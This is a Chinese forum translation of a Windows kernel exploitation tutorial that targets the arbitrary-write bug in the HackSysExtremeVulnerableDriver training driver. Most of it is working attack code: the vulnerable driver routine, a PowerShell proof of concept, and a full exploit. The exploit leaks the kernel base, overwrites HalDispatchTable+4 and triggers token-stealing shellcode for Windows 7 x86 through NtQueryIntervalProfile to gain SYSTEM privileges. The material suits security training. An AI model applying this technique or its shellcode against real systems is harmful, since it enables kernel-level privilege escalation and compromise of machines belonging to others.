首页
论坛
专栏
课程

[翻译]Windows exploit开发系列教程第十一部分:内核利用程序之任意地址任意写

2018-3-14 20:18 1633

[翻译]Windows exploit开发系列教程第十一部分:内核利用程序之任意地址任意写

2018-3-14 20:18
1633

译者注:年前曾经翻译过本系列的第十部分,后来因为一些事情一度断更。从春节到现在陆陆续续翻译了后续的一些章节,发到看雪论坛,供二进制安全初学者学习。
在翻译的过程中,原本是想用自己的截图对原文进行替换(第十部分即是如此),但考虑到本地的一些表现和原文有一定出入,所以最终决定一概保留原文的截图,特此说明。
点击查看原文

Windows exploit开发系列教程第十部分:内核利用程序之任意地址任意写

欢迎来到Windows exp开发系列的第十一部分。今天我们会使用HEVD来编写一个内核层任意位置任意写的漏洞exp。关于调试环境安装的细节请参考第十部分。因为时间有限,我一般会非常快速的过一遍这些邮件,但如果你有任何疑问的话请依然让我知晓,我们开始吧!

  • HackSysExtremeVulnerableDriver (hacksysteam) - here

  • Driver write-what-where vulnerability - here

  • Arbitrary Memory Overwrite exploitation using HalDispatchTable - here

侦查挑战

让我们看一看含有该漏洞的函数(here)。

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(WRITE_WHAT_WHERE));

        DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
        DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
        DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", UserWriteWhatWhere->What);
        DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", UserWriteWhatWhere->Where);

#ifdef SECURE
        // Secure Note: This is secure because the developer is properly validating if address
        // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
        // routine before performing the write operation
        ProbeForRead((PVOID)UserWriteWhatWhere->Where,
                     sizeof(PULONG),
                     (ULONG)__alignof(PULONG));
        ProbeForRead((PVOID)UserWriteWhatWhere->What,
                     sizeof(PULONG),
                     (ULONG)__alignof(PULONG));

        *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#else
        DbgPrint("[+] Triggering Arbitrary Overwrite\n");

        // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
        // because the developer is writing the value pointed by 'What' to memory location
        // pointed by 'Where' without properly validating if the values pointed by 'Where'
        // and 'What' resides in User mode
        *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

该驱动持有两个指针,一个用于展示驱动将写入内存的值,另一个提供了驱动将要写的位置。同样的,显示了漏洞的同时也显示了安全的实现体。这里的问题在于驱动没有检查目标指针的地址是否在用户空间,因此我们可以用任意4字节值覆写任意内核4字节地址。

 

此前我们看到过如何通过分析IrpDeviceIoCtlHandler表来获取函数的IOCTL。这里我们将学习一种不同的方法。驱动头文件driver header展示了所有的定义的函数。

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS               CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW                   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT                 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT            CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_TYPE_CONFUSION                  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW                CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE     CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, 
METHOD_NEITHER, FILE_ANY_ACCESS)




I/O Control Codes (IOCTL's) are composed of a few different components (type, code, method, access). The interesting thing is that the Windows driver kit has a standard macro which can be used to define new IOCTL's. We can actually extract all the valid IOCTL's by emulating the macro functionality as show below.



PowerShell v3+:
"{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (FUNC_NUM_HERE -shl 2) -bor 0x00000003)

C++\C#:
(0x00000022 << 16) | (0x00000000 << 14) | (FUNC_NUM_HERE << 2) | 0x00000003

Example:
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE = 0x802
=> "{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (0x802 -shl 2) -bor 0x00000003)
=> IOCTL = 0x22200B

I/O控制码(IOCTL's)又一些不同的组件(类型,码值,方法,访问权限)构成。有意思的是WDK有一个标准的宏可以用于定义新的IOCTL。我们实际上可以通过仿真该宏的功能来提取出所有的有效的IOCTL。

 

阅读更多关于宏的说明here。现在我们有了IOCTL,让我们使用IDA的图形显示板快速的检查一下。

 

 

看起来不错,有个稍微让我困惑的事情是函数要如何决定它将要写哪些字节。它不会写你给它的4字节,它会把这4字节当成一个指针并写入该指针指向的地址处开始的4字节值。缓冲区结构如下。

# The first 4 bytes are a pointer to a pointer
[IntPtr]$WriteWhatPtr(->$WriteWhat) + $WriteWhere

记住这一点,如果你简单的指定你的shellcode的地址,它实际上会写你的shellcode的前4个字节。

 

我快速组织了一个POC来测试能否顺利调用这个函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# Buffer = WriteWhat + WriteWhere
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B`n"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

 

很好,我们有了exp的原型。

Pwn

真正的问题是到底要覆盖哪个地址(在内核空间),如何找到可信赖的地址,执行后不会BSOD(蓝屏)。幸运的是这项艰巨的工作已经有人做过了,我们可以覆盖一个内核的分发表指针,这相对来说安全(在Ruben Santamarta的2007年发表的“Exploiting common flaws in drivers”论文中第一次描述)。它揭示出有一个未文档化(罕用)的函数——NtQueryIntervalProfile用于量度计数滴答之间的性能。这个函数内部调用了KeQueryIntervalProfile系统调用。反汇编KeQueryIntervalProfile,看起来没什么特别的。

 

 

NtQueryIntervalProfile最终会调用一个在HalDispatchTable+0x4处的指针。如果我们可以覆盖该指针使其指向我们的shellcode,那么当调用NtQueryIntervalProfile时我们的shellcode就可以在内核层运行了。

 

现在我们知道了想要覆盖的地方,我们还需要弄清楚如何找到HalDispatchTable的地址。幸运的是,我们可以利用一个有用的未文档化的函数——NtQuerySystemInformation。如果我们调用NtQuerySystemInformation且指定SystemModuleInformation类我们可以获取一个加载的模块列表以及他们各自的基地址(包括NT内核)。我将节约读者去看关于该函数糟糕的细节的时间,我写了一个PowerShell脚本来做这一项工作, Get-SystemModuleInformation

 

 

它有效的绕过了内核中的ASLR,因为我们可以使用加载模块的基地址来计算任意函数的偏移。下面你会看到使用简单的指针算术运算来获取HalDispatchTable偏移的过程。

$SystemModuleArray = Get-SystemModuleInformation
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Kernel32]::LoadLibrary("$KernelType")
$HALUserLand = [Kernel32]::GetProcAddress($KernelHanle, "HalDispatchTable")
$HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase


 

我们可以重用上一节创建的窃取token的shellcode,完善其中的一部分。

$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

我们无需还原那些此前所用的额外说明。此外,我们劫持了一个函数调用,所以需要保存寄存器的状态,shellcode执行后需要返回到执行流继续正常执行。

终结

这就是完整的运行体,设置指针以及分配shellcode的过程中海有一些次要的细节。可以参考下面完整的exp来了解更多信息。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_MODULE_INFORMATION
{
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
    public UIntPtr[] Reserved;
    public IntPtr ImageBase;
    public UInt32 ImageSize;
    public UInt32 Flags;
    public UInt16 LoadOrderIndex;
    public UInt16 InitOrderIndex;
    public UInt16 LoadCount;
    public UInt16 ModuleNameOffset;
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]
    internal Char[] _ImageName;
    public String ImageName {
        get {
            return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0];
        }
    }
}

public static class EVD
{
    [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);

    [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("ntdll.dll")]
    public static extern int NtQuerySystemInformation(
        int SystemInformationClass,
        IntPtr SystemInformation,
        int SystemInformationLength,
        ref int ReturnLength);

    [DllImport("ntdll.dll")]
    public static extern uint NtQueryIntervalProfile(
        UInt32 ProfileSource,
        ref UInt32 Interval);

    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@

# Call NtQuerySystemInformation->SystemModuleInformation
# & Alloc buffer for the result
[int]$BuffPtr_Size = 0
while ($true) {
    [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
    $SystemInformationLength = New-Object Int
    # SystemModuleInformation Class = 11
    $CallResult = [EVD]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)

    # STATUS_INFO_LENGTH_MISMATCH
    if ($CallResult -eq 0xC0000004) {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
    }
    # STATUS_SUCCESS
    elseif ($CallResult -eq 0x00000000) {
        break
    }
    # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
    else {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        echo "[!] Error, NTSTATUS Value: $('{0:X}' -f ($CallResult))`n"
        return
    }
}

# Create SystemModuleInformation struct
$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
    $SYSTEM_MODULE_INFORMATION_Size = 284
} else {
    $SYSTEM_MODULE_INFORMATION_Size = 296
}

# Read SystemModuleInformation array count
# & increment offset IntPtr size
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size

# Loop SystemModuleInformation array
# & store output in $SystemModuleArray
$SystemModuleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
    $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
    $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)

    $HashTable = @{
        ImageName = $Cast.ImageName
        ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
        ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
    }

    $Object = New-Object PSObject -Property $HashTable
    $SystemModuleArray += $Object

    $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
}

# Free SystemModuleInformation array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)

# Get pointer to nt!HalDispatchTable
echo "`n[>] Leaking HalDispatchTable pointer.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$HALUserLand = [EVD]::GetProcAddress($KernelHanle, "HalDispatchTable")
$HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase
$WriteWhere = [System.BitConverter]::GetBytes($HalDispatchTable+4)
echo "[+] Kernel Base: 0x$('{0:X}' -f $KernelBase)"
echo "[+] HalDispatchTable: 0x$('{0:X}' -f $HalDispatchTable)"

# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)

# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$WriteWhat = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"

# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# TriggerArbitraryOverwrite() IOCTL = 0x22200B
# => [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteWhat.Length)
[System.Runtime.InteropServices.Marshal]::Copy($WriteWhat, 0, $WriteWhatPtr, $WriteWhat.Length)
$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + $WriteWhere

echo "`n[>] Sending WriteWhatWhere buffer.."
echo "[+] IOCTL: 0x22200B"
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] WriteWhere: 0x$('{0:X}' -f $($HalDispatchTable+4)) => nt!HalDispatchTable+4`n"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

# NtQueryIntervalProfile()->KeQueryIntervalProfile()
# => KeQueryIntervalProfile+0x23-> call dword HalDispatchTable+0x4
#---
# kd> 
# nt!KeQueryIntervalProfile+0x23:
# 82cd0836 ff150404b382    call    dword ptr [nt!HalDispatchTable+0x4 (82b30404)]
# 82cd083c 85c0            test    eax,eax
# 82cd083e 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (82cd084b)
#---
echo "[>] Calling NtQueryIntervalProfile trigger..`n"
[UInt32]$Dummy = 0
[EVD]::NtQueryIntervalProfile(0xb33f,[ref]$Dummy) |Out-Null

 

同样的,思考一下,在污染了HalDispatchTable指针后,我们有效的创建了一个内核之门。我们总是可以在同样的偏移处覆盖我们的shellcode并通过调用NtQueryIntervalProfile来直接运行内核中我们的新代码。



[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2018-3-15 20:25 被玉涵编辑 ,原因:
最新回复 (0)
游客
登录 | 注册 方可回帖
返回